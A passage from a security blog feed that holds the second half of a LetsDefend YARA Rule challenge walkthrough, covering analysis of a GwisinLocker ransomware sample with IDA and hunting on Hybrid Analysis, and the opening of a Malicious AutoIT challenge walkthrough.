rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/0176be26f2001faebda35d187747081f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/cd467391575ced3c29425fcd6a1316a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-extension-of-the-encrypted-file&#34;&gt;Question 3: What is the extension of the encrypted file?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 3,&lt;/strong&gt; we need to identify the extension added by the &lt;strong&gt;GwisinLocker&lt;/strong&gt; ransomware that the &lt;strong&gt;YARA&lt;/strong&gt; rule is targeting. We can find this information in the &lt;strong&gt;strings&lt;/strong&gt; section of the rule, specifically in the &lt;code&gt;$ext&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;a class=&#34;link&#34; href=&#34;https://yara.readthedocs.io/en/latest/writingrules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA documentation&lt;/strong&gt;&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The strings definition section is where the strings that will be part of the rule are defined. Each string has an identifier consisting of a $ character followed by a sequence of alphanumeric characters and underscores, these identifiers can be used in the condition section to refer to the corresponding string. Strings can be defined in text or hexadecimal form&amp;hellip;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/184722934133692658ff9121ad740117_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/32d4b622d685e08309dca2b5d95e146d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-assembly-instruction-that-stores-the-hex-opcode-in-the-yararule&#34;&gt;Question 4: What is the assembly instruction that stores the $hex opcode in the YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve gotten some understanding of the &lt;strong&gt;YARA&lt;/strong&gt; rule, it&amp;rsquo;s time to pivot to the second file within the &lt;strong&gt;ChallengeFiles&lt;/strong&gt; folder, &lt;strong&gt;sample.7z.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Extract the sample from the archive using the password from the challenge description which leaves us with a binary to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;521px&#34; data-flex-grow=&#34;217&#34; height=&#34;368&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/268a70191cfb95e2847b19d5a960896c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re going to perform some static analysis to locate information in the binary targeted by the &lt;strong&gt;YARA&lt;/strong&gt; rule, specifically the &lt;strong&gt;opcode&lt;/strong&gt; stored within the &lt;code&gt;$hex&lt;/code&gt; variable of the &lt;strong&gt;strings&lt;/strong&gt; section. Copy the hex string, we&amp;rsquo;ll need it for the next steps.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/e494068e6e7bc43fc501184db310f200_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To perform the analysis on the binary, we&amp;rsquo;re going to use &lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IDA&lt;/strong&gt;&lt;/a&gt;, a powerful disassembler that will let us peek into the code. Don&amp;rsquo;t worry, you don&amp;rsquo;t need to be a coding expert (&lt;em&gt;I&amp;rsquo;m definitely not!&lt;/em&gt;) to make use of the tool.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IDA&lt;/strong&gt;&lt;/a&gt; is already installed and available for use from the &lt;strong&gt;Tools folder&lt;/strong&gt; of the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment. Go ahead and launch it. Once it opens, drag the extracted sample into the window to load it using the default options.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/e88a84ad5888221d4bb2c398ed30ea45_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first thing we&amp;rsquo;ll do to find the answer is leverage IDA&amp;rsquo;s search function to look for the matching sequence of bytes. In the &lt;em&gt;Binary search&lt;/em&gt; window, paste the string we copied from the &lt;strong&gt;YARA&lt;/strong&gt; rule into the search box, select &lt;em&gt;find all occurrences&lt;/em&gt;, and press OK.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;517&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/a537d7933007e2b433e5a811fd4fb8b8_MD5.png&#34; width=&#34;697&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We found the information we&amp;rsquo;re looking for. The instruction stores the opcode in the &lt;code&gt;rax&lt;/code&gt; register.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;520px&#34; data-flex-grow=&#34;216&#34; height=&#34;369&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/7bd6101b1f1f6cb223968a56d696a169_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/980463987adf82146559cca84f2f1863_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-address-that-we-can-find-with-hex-opcode-with-the-idatool&#34;&gt;Question 5: What is the address that we can find with $hex opcode with the IDA tool?&#xA;&lt;/h3&gt;&lt;p&gt;Our previous search also located the information needed for &lt;strong&gt;Question 5&lt;/strong&gt; under the &lt;em&gt;Address&lt;/em&gt; column, so we&amp;rsquo;re already halfway to the answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;520px&#34; data-flex-grow=&#34;216&#34; height=&#34;369&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/0b35a8ef6fe081170cd5931a6a94677a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pay attention to the requested answer format: &lt;code&gt;0x0000&lt;/code&gt; — that doesn&amp;rsquo;t look exactly like what we see in &lt;strong&gt;IDA&lt;/strong&gt; does it?&lt;/p&gt;&#xA;&lt;p&gt;No problem! The question is looking for the &lt;strong&gt;hexadecimal notation,&lt;/strong&gt; so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn&amp;rsquo;t change the value) and then add the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0x&lt;/code&gt;,&amp;quot;&#xA;prefix to indicate that the number is in the hex format. For example, &lt;code&gt;0000000000003B51&lt;/code&gt; becomes &lt;code&gt;0x3B51&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/ac6860dd8d2192dd57b4273e6526f227_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-function-that-hascde2&#34;&gt;Question 6: What is the name of the function that has $cde2?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have learned how to use the search function in &lt;strong&gt;IDA&lt;/strong&gt;, answering &lt;strong&gt;Question 6&lt;/strong&gt; is much more familiar. We&amp;rsquo;ll repeat the &lt;strong&gt;binary search&lt;/strong&gt; process like we did in &lt;strong&gt;Question 4&lt;/strong&gt;, but this time we&amp;rsquo;ll search for the string stored in the &lt;code&gt;$cde2&lt;/code&gt; variable of the &lt;strong&gt;YARA&lt;/strong&gt; rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;582&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/252c81f6f5c0600d5bc5aa702087b931_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;317px&#34; data-flex-grow=&#34;132&#34; height=&#34;523&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/3ef82b1dbd72ebfb741bda0141d6fc79_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This search will lead us to the function &lt;code&gt;start_routine&lt;/code&gt; in the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;524px&#34; data-flex-grow=&#34;218&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/4b8324050a76a35f4694fefaca0ab84f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/ec6c17767be77f47adc7d61f047f2f53_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-file-signature-in-the-yararule&#34;&gt;Question 7: What is the file signature in the YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, let&amp;rsquo;s jump back over to the &lt;strong&gt;YARA&lt;/strong&gt; rule and focus on the &lt;strong&gt;condition&lt;/strong&gt; section at the bottom to determine the file signature. In a &lt;strong&gt;YARA&lt;/strong&gt; rule, this section is where the logic of the rule is defined.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/18a76fb24043192e6532bd0102757e0a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;What we&amp;rsquo;re looking for is the &lt;code&gt;uint32(0)&lt;/code&gt; value, which represents the file signature value of the binary. This condition identifies specific file types.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1669px&#34; data-flex-grow=&#34;695&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/69ecb55cf44d6f9d39989ef2c7fef983_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-hunt-on-ahybrid-analysissite-with-yara-rules-what-is-the---&#34;&gt;Question 8: Hunt on a &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;hybrid-analysis&lt;/a&gt; site with Yara rules. What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;threat level&amp;quot;&#xA;of the sample timestamped September 1, 2022, 16:11:41 (UTC)?&lt;/p&gt;&#xA;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question! For our final task, let&amp;rsquo;s gather some threat intelligence about the malware. While we could copy the &lt;code&gt;hash1&lt;/code&gt; value from the &lt;strong&gt;meta&lt;/strong&gt; section of the rule, let&amp;rsquo;s try something a bit different.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/23f034ca61cb1e0945cec8aac3d0c09a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt;&lt;/a&gt; website, click the &lt;em&gt;Yara Search&lt;/em&gt; tab, then press &lt;em&gt;Advanced Search&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;768&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/aa71c7df5b18b29d9e801235a5670d70_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, copy the rule from the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment, and paste it into the &lt;em&gt;Advanced Search (YARA)&lt;/em&gt; window.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;446px&#34; data-flex-grow=&#34;186&#34; height=&#34;430&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/91439ecdc2824182db52d990d2ffbcf0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now for the cool part! &lt;strong&gt;Hybrid Analysis&lt;/strong&gt; will hunt their submissions database and present samples matching the &lt;strong&gt;YARA&lt;/strong&gt; rule! This is a handy and flexible method for applying &lt;strong&gt;YARA&lt;/strong&gt; rules to hunt public submissions on &lt;strong&gt;Hybrid Analysis.&lt;/strong&gt; Once we retrieve the results, we need to match the date/time stamp requested in the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1280px&#34; data-flex-grow=&#34;533&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/30af04ed47292b1402ef7abb345fe3ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt; has assessed the threat of this binary as &lt;strong&gt;malicious.&lt;/strong&gt; Awesome job navigating this challenge! Let&amp;rsquo;s wrap this up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/efd558ae915db6fadd961a009da6b96b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! That was an excellent introduction to &lt;a class=&#34;link&#34; href=&#34;https://yara.readthedocs.io/en/stable/index.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA Rules&lt;/strong&gt;&lt;/a&gt;. During this challenge, we manually analyzed a rule to understand who wrote it and what strings it searches for. Then, we dove into &lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IDA&lt;/strong&gt;&lt;/a&gt; to analyze the malware binary and confirm a match manually. Then, we leveraged the rule on &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt;&lt;/a&gt; to hunt for matching samples. With our objectives complete, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/yara-rule&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA Rule&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;Another big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for continuing to provide these engaging labs. I chose this challenge because, while I&amp;rsquo;ve been vaguely aware of &lt;strong&gt;YARA&lt;/strong&gt; rules, I&amp;rsquo;ve never had the occasion to use them in my day job. This was a great opportunity to learn more and start turning the gears on how these powerful rules can quickly identify threats — mission accomplished! I was pleasantly surprised that there was a reverse engineering component to this lab, as I hadn&amp;rsquo;t had a chance to try &lt;strong&gt;IDA&lt;/strong&gt; before— very cool! My favorite part was hunting on &lt;strong&gt;Hybrid Analysis&lt;/strong&gt; with the &lt;strong&gt;YARA&lt;/strong&gt; rule. I&amp;rsquo;ve visited that site countless times but never knew that feature existed. It just goes to show that in this field, you will learn a dozen new things a day.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;YARA GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://virustotal.github.io/yara/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://virustotal.github.io/yara/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;YARA Docs:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://yara.readthedocs.io/en/latest/writingrules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://yara.readthedocs.io/en/latest/writingrules.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IDA:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://hex-rays.com/ida-free&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Malicious AutoIT Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/</link>
            <pubDate>Mon, 13 Jan 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Malicious AutoIT Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-malicious-autoit-challenge-walkthrough&#34;&gt;LetsDefend— Malicious AutoIT Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-malicious-script-analysis-challenge-using-detect-it-easy-autoit-ripper-and-notepad&#34;&gt;A malicious script analysis challenge using Detect It Easy, AutoIt-Ripper, and Notepad++&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-autoit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-autoit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-autoit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious AutoIT&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, the SOC has detected malicious activity on an endpoint stemming from a suspicious executable. Our objective is to analyze the suspicious file, extract the script, and determine what it does.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;re going to leverage several tools including &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy&lt;/strong&gt;&lt;/a&gt;, a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;powerful tool for file type identification,&amp;quot;&#xA; &lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt Ripper&lt;/strong&gt;&lt;/a&gt; to extract the script contents, and trusty &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Notepad++&lt;/strong&gt;&lt;/a&gt; for viewing the script contents.&lt;/p&gt;&#xA;&lt;p&gt;While this challenge is geared toward beginners, there are excellent learning opportunities for all skill levels, especially if you aren&amp;rsquo;t familiar with &lt;strong&gt;AutoIt&lt;/strong&gt;. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a 